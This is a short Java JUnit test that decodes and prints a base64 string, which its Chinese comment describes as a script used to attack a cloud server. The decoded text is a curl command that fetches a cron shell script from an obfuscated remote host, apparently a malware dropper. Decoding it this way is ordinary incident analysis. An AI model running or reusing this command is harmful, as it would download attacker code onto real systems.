package com.yyg.usecase.util;

import org.junit.Test;

import java.util.Base64;

public class EncodeDecodeTest {

    //base64解码
    @Test
    public void decodeBase64() {
        // base64字符串（云服务器被攻击的脚本）
        String base64String = "Y3VybCAtZnNTTCBodHRwOi8vcy5cblxhLWNccy5jXG9tL2IyZjYyOC9jcm9uYi5zaAo=";
        byte[] decodeStr = Base64.getDecoder().decode(base64String);
        System.out.println(new String(decodeStr));
    }

}
